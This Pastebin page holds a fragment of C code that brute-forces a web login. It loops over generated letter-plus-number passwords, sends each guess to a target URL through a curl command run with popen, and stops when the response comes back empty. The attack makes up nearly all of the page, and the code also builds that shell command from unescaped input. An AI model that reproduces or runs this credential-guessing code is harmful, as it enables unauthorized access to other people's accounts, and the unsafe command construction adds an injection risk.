Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- for(;;)
- {
- //create command for password match
- sprintf(command, "curl -s -d \"username=%s&passwd=%s%d\" %s", mail, pass, numpass, url);
- //run command for password
- fp = popen(command,"r");
- //check for errors
- if(fp == NULL)
- {
- fprintf(stderr,"Error opening pipe.\n");
- return 0;
- }
- flag = 0;
- while(fgets(result, sizeof(result)-1, fp) != NULL) {
- flag = 1;
- }
- if(!flag)
- break; //we got the match!
- //generate next password match
- if(++numpass < 100)
- continue;
- numpass = 10; //we start again from numbers
- if(counters[0] < strlen(letters))
- {
- counters[0]++;
- pass[0] = letters[counters[0]];
- continue; //test next match
- }
- counters[0] = 0;
- pass[0] = letters[counters[0]];
- int i;
- for(i = 0; i < LETTER_PASS; i++)
- {
- if(counters[i] < strlen(letters))
- {
- counters[i]++;
- pass[i] = letters[counters[i]];
- continue; //test next match
- }
- counters[i] = 0;
- pass[i] = letters[counters[i]];
- }
- break;
- }
Add Comment
Please, Sign In to add comment